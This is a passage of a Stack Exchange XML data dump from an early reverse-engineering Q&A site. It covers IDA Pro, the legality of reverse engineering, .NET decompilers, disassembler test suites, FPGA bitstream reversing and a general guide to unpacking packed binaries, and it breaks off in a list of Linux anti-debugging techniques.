identified inside the IDA disassembly and then interactively change aspects of that, give the decompiler further cues and so on. The pseudo-code is akin of C and will, in fact, sometimes compile out of the box on a C compiler.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Blog&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Hex-Rays runs a blog called &lt;a href=&quot;http://www.hexblog.com/&quot; rel=&quot;nofollow&quot;&gt;Hexblog&lt;/a&gt; on which employees of the company describe scenarios of and give tips concerning IDA Pro usage.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Freeware version&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The biggest disadvantage to hobbyists and students would be the steep price point, but IDA's makers also offer a freeware version for download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The freeware version of IDA Pro, available &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, lacks many of the features of the paid versions such as processor modules and support for a wealth of executable file formats. It also doesn't seem to have the same plugin and SDK support that comes with the two paid versions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Links to third-party resources&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.openrce.org&quot; rel=&quot;nofollow&quot;&gt;http://www.openrce.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.idabook.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.idabook.com/&lt;/a&gt; - also the two dead-tree editions of the book&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://old.idapalace.net/&quot; rel=&quot;nofollow&quot;&gt;http://old.idapalace.net/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2013-04-19T14:30:35.607" LastActivityDate="2013-04-19T14:30:35.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="70" PostTypeId="4" CreationDate="2013-03-20T14:42:30.627" Score="0" Body="IDA Pro is the Interactive Disassembler, a proprietary multi-platform disassembler by Hex-Rays." OwnerUserId="60" LastEditorUserId="53" LastEditDate="2013-12-17T08:00:09.203" LastActivityDate="2013-12-17T08:00:09.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="71" PostTypeId="2" ParentId="11" CreationDate="2013-03-20T14:53:24.310" Score="8" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does knowing the compiler used to generate an application help me to&#xA;  more effectively reverse engineer back from the generated object to&#xA;  what the source code might have been, and if it does help, how so?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I consider the knowing used compiler as a very important step because of the following reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It helps you select the proper tool(s) to analyze the target.&lt;/li&gt;&#xA;&lt;li&gt;Knowing the runtime is important for analysis, for example in Delphi &lt;code&gt;TFileStream&lt;/code&gt; is a commonly used object for reading/writing files. Knowing the vtable of that object helps me understand if an offset is read/write/seek etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To clarify 1 with an example: a tool such as &lt;a href=&quot;http://kpnc.org/idr32/en/&quot; rel=&quot;noreferrer&quot;&gt;IDR&lt;/a&gt; might be a better fit for a Delphi target than IDA Pro. Or at least we can generate a MAP file/IDC script with it that improves symbols in IDA. But for a target written in Visual Basic one might use &lt;a href=&quot;http://www.vb-decompiler.org/&quot; rel=&quot;noreferrer&quot;&gt;VB Decompiler&lt;/a&gt; and so on.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="245" LastEditDate="2013-04-17T05:17:31.930" LastActivityDate="2013-04-17T05:17:31.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="72" PostTypeId="1" AcceptedAnswerId="91" CreationDate="2013-03-20T15:25:47.117" Score="43" ViewCount="27991" Body="&lt;p&gt;I find that more and more often binaries are being packed with exe protectors such as upx, aspack etc. I tried to follow a few tutorials on how to unpack them but the examples are often quite easy while my targets are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for good resources and any hints/tips on how to unpack targets.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="60" LastEditDate="2016-11-12T20:31:54.000" LastActivityDate="2016-11-12T20:31:54.000" Title="Unpacking binaries in a generic way" Tags="|decompilation|unpacking|pe|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="73" PostTypeId="2" ParentId="60" CreationDate="2013-03-20T15:47:18.827" Score="34" Body="&lt;h2&gt;In the United States&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The short answer is no for the purposes you've stated in your question, but keep reading to see exactly what is allowed. Also worth reading are the two links included herein.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the U.S., Section 103(f) of the Digital Millennium Copyright Act (DMCA) (&lt;a href=&quot;http://www.law.cornell.edu/uscode/text/17/1201&quot; rel=&quot;noreferrer&quot;&gt;17 USC § 1201 (f)&lt;/a&gt; - Reverse Engineering) specifically states that it is legal to reverse engineer and circumvent the protection to achieve interoperability between computer programs (such as information transfer between applications). Interoperability is defined in paragraph 4 of Section 103(f).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also often lawful to reverse-engineer an artifact or process as long as it is obtained legitimately. If the software is patented, it doesn't necessarily need to be reverse-engineered, as patents require a public disclosure of invention. It should be mentioned that, just because a piece of software is patented, that does not mean the entire thing is patented; there may be parts that remain undisclosed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also of note is that in the U.S. most End-User License Agreements (EULAs) specifically prohibit reverse-engineering. Courts have found such contractual prohibitions to override the copyright law which expressly permits it (&lt;a href=&quot;https://law.resource.org/pub/us/case/reporter/F3/320/320.F3d.1317.01-1109.01-1108.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Bowers v. Baystate Technologies&lt;/em&gt;, 320 F.3d 1317 (Fed. Cir. 2003)&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, for your purposes, it sounds like it would be illegal to integrate features from a reverse-engineered program into another program for commercial or non-commercial use. If you were trying to enable interoperability (again, see Section 103(f), noted above), that would be different.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;In India&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From what I can find, the direct reverse engineering of software, in whole or in part, for use in your own software for commercial use, is protected under copyright. The protected reasons for reverse engineering are similar to those in the United States. According to the article &lt;a href=&quot;http://kvtrust.blogspot.com/2007/09/trade-secret-contract-and-reverse.html&quot; rel=&quot;noreferrer&quot;&gt;Trade Secret, Contract and Reverse Engineering&lt;/a&gt; (also note end note 5), the copyright act broadly protects actions (including reverse engineering) for the following purposes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Obtaining information essential for achieving interoperability of an independently created computer program with other programs if such information is not otherwise readily available.&lt;/li&gt;&#xA;&lt;li&gt;Determining the ideas and principles underlying any element of the program for which the computer program was supplied.&lt;/li&gt;&#xA;&lt;li&gt;Making copies or adaptations of a legally obtained copy of the computer program for non-commercial, personal use.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Additionally, due to section 23 of the Indian Contract Act, which handles all contracts including License Agreements, a contract is declared void if it goes against public policy. Section 52 of the Copyright Act declares public policy concerning reverse engineering, which is that it is permitted in a limited way. A contract (or EULA), prohibiting reverse engineering in software to the extent permitted by the Copyright Act, may not stand in a court of law.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Section 52, subsections (aa) through (ad) of the Copyright Act explain these protected acts (see &lt;a href=&quot;http://copyright.gov.in/Documents/CopyrightRules1957.pdf&quot; rel=&quot;noreferrer&quot;&gt;Indian Copyright Act 1957&lt;/a&gt;, page 33, along with section 18 of &lt;a href=&quot;http://copyright.lawmatters.in/2012/06/impact-of-2012-amendments-to-copyright.html&quot; rel=&quot;noreferrer&quot;&gt;these revisions from 2012&lt;/a&gt;). Another source (though possibly a bit outdated) is &lt;a href=&quot;http://www.123helpme.com/view.asp?id=36962&quot; rel=&quot;noreferrer&quot;&gt;Software Patent and Copyright Laws in India&lt;/a&gt; (a paper) with its footnotes.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2014-11-07T18:14:30.163" LastActivityDate="2014-11-07T18:14:30.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="74" PostTypeId="1" AcceptedAnswerId="83" CreationDate="2013-03-20T15:56:57.997" Score="16" ViewCount="1133" Body="&lt;p&gt;A key tool in reverse engineering is a good disassembler, so to ensure that a disassembler is performing properly, are there any good test suites available for use to test the correctness of a disassembler?  Are these architecture specific, or can they be configured to work across multiple object architectures?  A good test should include checking the more obscure architecture instructions and malformed portable execution files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;http://sourceware.org/cgi-bin/cvsweb.cgi/src/gas/testsuite/gas/i386/?cvsroot=src&quot;&gt;one specifically for i86&lt;/a&gt; that I have seen.  Are there any that are modular across architectures?&lt;/p&gt;&#xA;" OwnerUserId="93" LastEditorUserId="80" LastEditDate="2013-03-20T18:30:40.437" LastActivityDate="2015-08-24T19:05:16.213" Title="Are there any open source test suites for testing how well a disassembler performs?" Tags="|tools|disassembly|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="75" PostTypeId="5" CreationDate="2013-03-20T16:03:49.173" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-03-20T16:03:49.173" LastActivityDate="2013-03-20T16:03:49.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="76" PostTypeId="4" CreationDate="2013-03-20T16:03:49.173" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-03-20T16:03:49.173" LastActivityDate="2013-03-20T16:03:49.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="77" PostTypeId="1" AcceptedAnswerId="81" CreationDate="2013-03-20T16:18:40.027" Score="42" ViewCount="81351" Body="&lt;p&gt;Are there any tools available to take an already compiled .dll or .exe file that you know was compiled from C# or Visual Basic and obtain the original source code from it?&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="188" LastEditDate="2013-04-02T21:17:48.550" LastActivityDate="2020-09-28T19:47:30.267" Title="Is there any way to decompile a .NET assembly or program?" Tags="|decompilation|dll|.net|pe|" AnswerCount="8" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="78" PostTypeId="2" ParentId="77" CreationDate="2013-03-20T16:18:40.027" Score="11" Body="&lt;p&gt;There is a free tool available called &lt;a href=&quot;http://www.telerik.com/products/decompiler.aspx&quot;&gt;JustDecompile&lt;/a&gt; which does that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some features:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Creating a Visual Studio project from an assembly in order to export lost projects or obtain multiple classes without the need to copy and paste code. At present, JustDecompile is able to export decompiled code only to C#.&lt;/li&gt;&#xA;  &lt;li&gt;Exporting code directly from the command prompt&lt;/li&gt;&#xA;  &lt;li&gt;Quickly loading core .NET assemblies (.NET 2, .NET3.5, .NET 4, .NET 4.5, WinRT Metadata and Silverlight)&lt;/li&gt;&#xA;  &lt;li&gt;Directly editing assemblies loaded into the program&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-04-16T13:44:45.583" LastActivityDate="2013-04-16T13:44:45.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="79" PostTypeId="5" CreationDate="2013-03-20T16:21:39.697" Score="0" Body="&lt;p&gt;Decompiling is the process of analyzing an executable or object code binary and outputting source code in a programming language such as C. The process involves translating a file from a low level of abstraction to a higher level of abstraction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompilation is usually carried out using a decompiler. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;/questions/tagged/obfuscation&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'obfuscation'&quot; rel=&quot;tag&quot;&gt;obfuscation&lt;/a&gt; is a technique used to make the decompilation process harder.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-03-25T17:04:43.820" LastActivityDate="2013-03-25T17:04:43.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="80" PostTypeId="4" CreationDate="2013-03-20T16:21:39.697" Score="0" Body="Process of translating assembly code extracted from a binary file in a structured programming language, such as C." OwnerUserId="151" LastEditorUserId="53" LastEditDate="2013-12-17T08:01:56.463" LastActivityDate="2013-12-17T08:01:56.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="81" PostTypeId="2" ParentId="77" CreationDate="2013-03-20T16:24:05.790" Score="50" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/icsharpcode/ILSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;ILSpy&lt;/a&gt; is a great open-source decompiler.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ILSpy Features&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Assembly browsing&lt;/li&gt;&#xA;  &lt;li&gt;IL Disassembly&lt;/li&gt;&#xA;  &lt;li&gt;Support C# 5.0 &quot;async&quot;&lt;/li&gt;&#xA;  &lt;li&gt;Decompilation to C#&lt;/li&gt;&#xA;  &lt;li&gt;Supports lambdas and 'yield return'&lt;/li&gt;&#xA;  &lt;li&gt;Shows XML documentation&lt;/li&gt;&#xA;  &lt;li&gt;Decompilation to VB&lt;/li&gt;&#xA;  &lt;li&gt;Saving of resources&lt;/li&gt;&#xA;  &lt;li&gt;Save decompiled assembly as .csproj&lt;/li&gt;&#xA;  &lt;li&gt;Search for types/methods/properties (substring)&lt;/li&gt;&#xA;  &lt;li&gt;Hyperlink-based type/method/property navigation&lt;/li&gt;&#xA;  &lt;li&gt;Base/Derived types navigation&lt;/li&gt;&#xA;  &lt;li&gt;Navigation history&lt;/li&gt;&#xA;  &lt;li&gt;BAML to XAML decompiler&lt;/li&gt;&#xA;  &lt;li&gt;Save Assembly as C# Project&lt;/li&gt;&#xA;  &lt;li&gt;Find usage of field/method&lt;/li&gt;&#xA;  &lt;li&gt;Extensible via plugins (MEF)&lt;/li&gt;&#xA;  &lt;li&gt;Assembly Lists&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditDate="2019-11-16T18:35:58.717" LastActivityDate="2019-11-16T18:35:58.717" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="82" PostTypeId="2" ParentId="77" CreationDate="2013-03-20T16:25:26.647" Score="9" Body="&lt;p&gt;I have used .NET Reflector (Note: Commercial, but trial available) several times and quite like it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.red-gate.com/products/dotnet-development/reflector/&quot;&gt;http://www.red-gate.com/products/dotnet-development/reflector/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="123" LastActivityDate="2013-03-20T16:25:26.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="83" PostTypeId="2" ParentId="74" CreationDate="2013-03-20T16:31:38.860" Score="14" Body="&lt;p&gt;There is a paper called &quot;&lt;a href=&quot;http://roberto.greyhats.it/pubs/issta10-nversion.pdf&quot; rel=&quot;nofollow&quot;&gt;N-version Disassembly: Differential Testing of x86 Disassemblers&lt;/a&gt;&quot; (PDF) by  Roberto Paleari, Lorenzo Martignoni, Giampaolo Fresi Roglia, and Danilo Bruschi which compares several x86 disassemblers in a formal fashion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote the papers abstract:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The output of a disassembler is used for many different purposes&#xA;  (e.g., debugging and reverse engineering). Therefore, disassemblers&#xA;  represent the ﬁrst link of a long chain of stages on which any&#xA;  high-level analysis of machine code depends upon. In this paper we&#xA;  demonstrate that many disassemblers fail to decode certain&#xA;  instructions and thus that the ﬁrst link of the chain is very weak. We&#xA;  present a methodology, called N-version disassembly, to verify the&#xA;  correctness of disassemblers, based on differential analysis&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not sure if this is slightly off topic to your question but may be of interest to you.&lt;/p&gt;&#xA;" OwnerUserId="123" LastEditorUserId="2434" LastEditDate="2015-08-24T14:17:30.613" LastActivityDate="2015-08-24T14:17:30.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="84" PostTypeId="2" ParentId="74" CreationDate="2013-03-20T16:37:43.183" Score="8" Body="&lt;p&gt;In a lot of papers I've read, decompilation tool authors use the &lt;a href=&quot;http://www.spec.org/benchmarks.html&quot;&gt;SPEC benchmarks&lt;/a&gt; to measure the effectiveness of their decompiler. This produces kind of a holistic view of how well the system works, from instruction decoding to control flow recovery. Those benchmarks aren't free or open source though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GCC and clang compilers also ship with benchmarks for testing. Those might be worth investigating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Regehr's &lt;a href=&quot;https://github.com/csmith-project/csmith&quot;&gt;csmith&lt;/a&gt; project can generate arbitrary C programs for compiler testing/fuzzing. This could be useful for testing decompilers and binary analysis systems?&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2013-03-20T16:37:43.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="85" PostTypeId="1" AcceptedAnswerId="86" CreationDate="2013-03-20T17:27:34.680" Score="27" ViewCount="11670" Body="&lt;p&gt;Let's assume I have a device with an FPGA on it, and I managed to extract the bitstream from its flash. How would I go about recovering its behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One simple case is if it implements a soft processor - in that case there should be firmware for that processor somewhere and I can just disassemble that. But what if it's just a bunch of IP blocks and some additional logic?&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="80" LastEditDate="2013-03-20T17:33:34.773" LastActivityDate="2019-03-23T07:37:10.040" Title="Reversing an FPGA circuit" Tags="|hardware|fpga|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="86" PostTypeId="2" ParentId="85" CreationDate="2013-03-20T17:56:52.510" Score="23" Body="&lt;p&gt;While FPGA makers don't just throw their formats out there, there is extensive documentation at a low level. Xilinx devices are a good example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reverse engineer the bit stream you might generate test cases that implement simple logic and see how those translate to the bit stream, then move on to designs that exercise different portions of the chip. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the basic level, you would want to know how a CLB is controlled then the IOBs and interconnects. the CLBs are the logic the IOBs the are connected to the pins and interconnects link up the CLBs and  IOBs. &lt;a href=&quot;http://www2-c703.uibk.ac.at/teaching/ws2009/esa/fpga.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;This document&lt;/a&gt; should give you a lot of insight into how FPGAs are implemented and how you might go about reverse engineering the bit streams. Do note that newer FPGAs are moving to 6-input luts rather than 4-input as was common.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just keep in mind that the bit stream isn't software - it is a hardware configuration image. So, it's actually very similar to how ENIAC must have been programmed - rewiring circuits and flipping switches to program it - except in this case you are setting up routes with interconnects and logic in the CLBs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the guy behind the Ben NanoNote is writing a &lt;a href=&quot;https://github.com/Wolfgang-Spraul/fpgatools&quot; rel=&quot;nofollow noreferrer&quot;&gt;fpga-toolchain&lt;/a&gt; which I am following avidly.  Since a secondary to my SparcStation collecting hobby is reimplementing sun4m, a SparcStation architecture, in FPGA. After all who wouldn't want to be able to configure an FPGA from an FPGA with your own processor design on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: It's worth noting that IceStorm (mostly ice40 chips) and NextPNR (Multi targeted at ice40/ECP5/Xilinx Series 7) are the current state of the art reverse engineered FPGA toolchains.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2019-02-05T15:34:45.190" LastActivityDate="2019-02-05T15:34:45.190" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="87" PostTypeId="1" AcceptedAnswerId="94" CreationDate="2013-03-20T18:09:54.637" Score="23" ViewCount="6479" Body="&lt;p&gt;When reverse engineering binaries compiled from C++, it is common to see many indirect calls to function pointers in &lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_method_table&quot;&gt;vtables&lt;/a&gt;.  To determine where these calls lead, one must always be aware of the object types expected by the &lt;code&gt;this&lt;/code&gt; pointer in &lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_function&quot;&gt;virtual functions&lt;/a&gt;, and sometimes map out a class hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the context of static analysis, what tools or annotation techniques do you use to make virtual functions simpler to follow in your disassembly?  Solutions for all static analysis toolkits are welcome.&lt;/p&gt;&#xA;" OwnerUserId="207" LastActivityDate="2017-06-22T08:40:11.473" Title="Static analysis of C++ binaries" Tags="|static-analysis|ida|c++|vtables|virtual-functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="88" PostTypeId="2" ParentId="59" CreationDate="2013-03-20T18:16:17.477" Score="4" Body="&lt;p&gt;I'd like to add &lt;a href=&quot;http://www.idabook.com/collabreate&quot; rel=&quot;nofollow&quot;&gt;collabREate&lt;/a&gt; - plugin, which allow to do reverse engineering in the small team, all share the same IDA session.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2013-03-20T18:16:17.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="90" PostTypeId="1" AcceptedAnswerId="131" CreationDate="2013-03-20T18:51:19.000" Score="7" ViewCount="2368" Body="&lt;p&gt;I want to know what jQuery plugins Facebook uses for their special scrollbar, like the two on the left, not the normal one on the right:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/odVcU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://www.pcworld.com/article/240475/two_important_facebook_hover_tricks.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, how should I go when I want to know what jQuery plugin [website X] uses for [behaviour Y]?&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastActivityDate="2017-01-26T19:51:12.943" Title="Get used jQuery plugins from website" Tags="|javascript|websites|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="91" PostTypeId="2" ParentId="72" CreationDate="2013-03-20T18:57:25.410" Score="65" Body="&lt;p&gt;Unpacking a generic wrapping packer or cryptor usually involves the following steps:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1. Trace the code, possibly evading or bypassing anti-debugging checks.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is not difficult with simple packers but might be tricky with the more advanced ones. They may employ timing checks (&lt;code&gt;rdtsc&lt;/code&gt;), exception-based control transfer, using debug registers for calculations etc. Using a VM or an emulator here usually helps against most of them.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Find the &lt;em&gt;original entry point&lt;/em&gt; (OEP)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are many ways to do this. Sometimes the jump to OEP is obvious when it follows a chunk of looping code and there's nothing reasonable-looking after it. Or you may recognize the code at OEP if you're familiar with the entrypoints produced by different compilers. A couple other tricks:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;if the packer saves the original registers before unpacking, set a hardware breakpoint on their location in the stack - this way you'll break right when they're restored before jumping to OEP.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if during tracing you can identify memory where the unpacked code is being written, set a page execution breakpoint on that memory range - it will trigger after the jump. IDA allows you to set such a breakpoint, and I think OllyDbg too.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;set breakpoints on common APIs used by startup code, e.g. &lt;code&gt;GetCommandLine&lt;/code&gt; or &lt;code&gt;GetVersionEx&lt;/code&gt;. This won't get you the exact OEP, but you can usually go back the callstack and find it more or less easily.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;3. Dump the unpacked code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you're using IDA, you don't actually need to &lt;em&gt;dump&lt;/em&gt; the file into a separate file - it's enough to take a memory snapshot that would copy the bytes from memory to the database so you can analyze them later. One thing to keep in mind here is that if the packer used dynamically allocated memory, you need to mark it as &quot;loader&quot; so it gets included in the snapshot. More &lt;a href=&quot;http://www.hexblog.com/?p=8&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;4. Restore imports&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm not very familiar how it's done in Olly or other debugger, but AFAIK you need to use a tool like ImpREC on your dump and a copy of the process in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's somewhat simpler (IMO) in IDA. You just need to find the import table and rename the pointers according to the functions they are currently pointing to (this should be done while debugger is active). You can use either &lt;code&gt;renimp.idc&lt;/code&gt; script or UUNP &quot;manual reconstruct feature&quot; (see &lt;a href=&quot;http://www.hexblog.com/?p=403&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For finding import table there are two tricks I sometimes use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;follow some calls in the startup code at OEP to find external APIs and this should lead you to the import table. Usually the start and the end of the table is obvious.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;during unpacking, set a breakpoint on GetProcAddress and see where the results are written. This however won't work with packers that use manual import resultion using the export directory. Putting a read BP on kernel32's export table might help here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;5. Clean up&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is optional but it may be useful to remove the remains of the packer code that would only distract you. In IDA, you should also apply a compiler FLIRT signature if you recognize the compiler used.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;6. Making an unpacked executable&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I don't do this step as I rarely need to run the unpacked file but in general you usually need to fix up the PE header so that offsets to the section's code in file match those in the dump.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now, there are many variations and tricks not covered by the above steps. For example, some packers don't fully resolve imports initially but put jumps to stubs that resolve import on first call and then patch it so it goes directly to the target next time. Then there is &quot;stolen code&quot; approach which makes it harder to find and recover OEP. Sometimes the packer runs a copy of itself and debugs it, so that you can't attach your own debugger to it (this can be solved by using emulator or a debugger that doesn't use debugging APIs like Intel PIN). Still, the outlined steps can cover quite a lot of what's out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will conclude with the video that Elias made showing the process of unpacking the Lighty Compressor: &lt;a href=&quot;https://www.hex-rays.com/video/bochs_video_2.html&quot;&gt;https://www.hex-rays.com/video/bochs_video_2.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="53" LastEditDate="2014-05-10T10:29:04.523" LastActivityDate="2014-05-10T10:29:04.523" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="92" PostTypeId="2" ParentId="53" CreationDate="2013-03-20T19:10:36.883" Score="8" Body="&lt;p&gt;Deobfuscating variable names with zero-width characters is as easy as renaming variables. That's something you'd do anyway as part of the deobfuscation process, as you infer the intent behind the variables and give them meaningful names. So this technique might at most prompt the reader to make an initial renaming pass. The additional deobfuscation cost is negligible. It's not worth it, there's no advantage to &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt;, …&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-03-20T19:10:36.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="93" PostTypeId="2" ParentId="43" CreationDate="2013-03-20T19:27:36.590" Score="22" Body="&lt;p&gt;Here's some I've seen or heard about:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Stripping the section headers. A simple and fully legal action that stops GDB dead in its tracks. Does not work against some other debuggers (e.g. IDA). Can be done using the &lt;a href=&quot;http://www.muppetlabs.com/~breadbox/software/elfkickers.html&quot;&gt;&lt;code&gt;sstrip&lt;/code&gt;&lt;/a&gt; tool.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using &lt;code&gt;syscall&lt;/code&gt; function or direct syscalls instructions instead of calling specific functions like &lt;code&gt;ptrace()&lt;/code&gt;. Can be defeated by setting the breakpoint on &lt;code&gt;syscall&lt;/code&gt; function or just stepping through the file, but may be non-obvious if you don't know about it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Performing anti-debugging actions before 